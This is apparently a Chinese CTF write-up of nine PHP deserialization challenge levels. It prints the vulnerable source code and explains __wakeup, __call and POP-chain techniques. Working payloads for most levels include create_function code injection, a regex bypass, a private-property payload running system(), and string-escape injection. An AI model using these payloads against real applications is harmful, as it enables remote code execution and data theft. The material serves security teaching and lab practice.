一.第一关(基础序列化)
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
一个很基础的反序列过程
对输入的flag进行反序列化,再调用action的方法
然后解释eval任意执行
二.第二关(__construct魔术方法)
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
__construct : 在创建对象时候初始化对象。
__destruct : 当对象所在函数调用完毕后执行一般用于对变量赋初值或者在对象被销毁的时候触发
写一个php程序把他序列化
<?php
class mylogin{
var $user ;
var $pass ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$a = new mylogin("daydream","ok");
var_dump(serialize($a));
?>
三.第三关(cookie传参)
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
与上一关的差别在与是cookie传参,只需要抓包修改cookie即可
四.第四关(create_function)
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
这里还用到一个php特性------Array
当array内包裹的第一个值是对象,第二个是对象内的方法时
在反序列化后会调用该对象的方法
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>
action是写入create_function为下面创造方法
code是为了闭合方法再进行文件包含读取flag
五.第五关(__wakeup)
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){//判断是否存在
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){//进行正则匹配
echo "Are you daydreaming?";
}
else{
unserialize($cmd);//反序列化
}
}
//sercet in flag.php
?>
__wakeup():当反序列化恢复对象之前调用该方法
也就算是出现
o:数字 或者 c:数字
就会直接终止,所以我们就要绕过这个匹配,在序列化后也就是在0:6中6的前面加上一个符号使其不被匹配上所以就有了payload
playload:'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}'
六.第六关(私有属性)
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性
private属性序列化的时候格式是 %00类名%00成员名
所以要用\00代替%00实现绕过
<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$pa=new secret("system('sort flag.php');");
echo serialize($pa),"\n";
playload:O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。
七.第七关(类中类反序列化)
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>
在you类中,有一个destruct方法,内将pro赋值给变量project再调用本类中的body中的project
说明body应该是一个类且project是指要调用该类内的方法
另外有一个魔术方法__call:当调用对象中不存在的方法会自动调用该方法
$this->body->$project();
先让body成为my类里的,在让body去调用project,因为my类里没有project所以会调用__call方法
在把myname的值赋给body,yourname的值赋给pro就可以了
playload:'O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}';
八. 第八关(增量逃逸)
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
具体:PHP反序列化——字符逃逸漏洞(肯定能看懂的!)_php {i:1;s:65:''}-CSDN博客
playload:O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
九.第九关(POP构造链)
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
__invoke() 当一个类被当作函数执行时调用此方法。
__construct 在创建对象时调用此方法
__toString() 在一个类被当作字符串处理时调用此方法
__wakeup() 当反序列化恢复成对象时调用此方法
__get() 当读取不可访问或不存在的属性的值会被调用